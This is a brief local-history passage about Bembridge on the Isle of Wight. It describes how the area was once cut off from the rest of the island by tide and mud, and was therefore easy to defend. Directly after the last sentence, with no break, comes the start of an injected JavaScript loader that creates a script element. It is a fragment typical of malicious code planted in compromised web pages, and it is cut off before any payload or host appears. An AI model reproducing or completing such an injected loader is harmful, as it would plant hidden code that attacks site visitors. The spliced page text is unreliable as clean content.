Bembridge

The area, containing Yaverland and Bembridge, was for much of its history an island, cut off from the Wight mainland by an encircling arm of sea at high tide and a muddy gulf at low tide. Hence its former name, “Bembridge Island”. For early inhabitants, this meant Bembridge Isle formed a small, but defensible island that could only be approached by boat, thereby giving the defenders plenty of time to prepare.var d=document;var s=d.createElement(‘script’);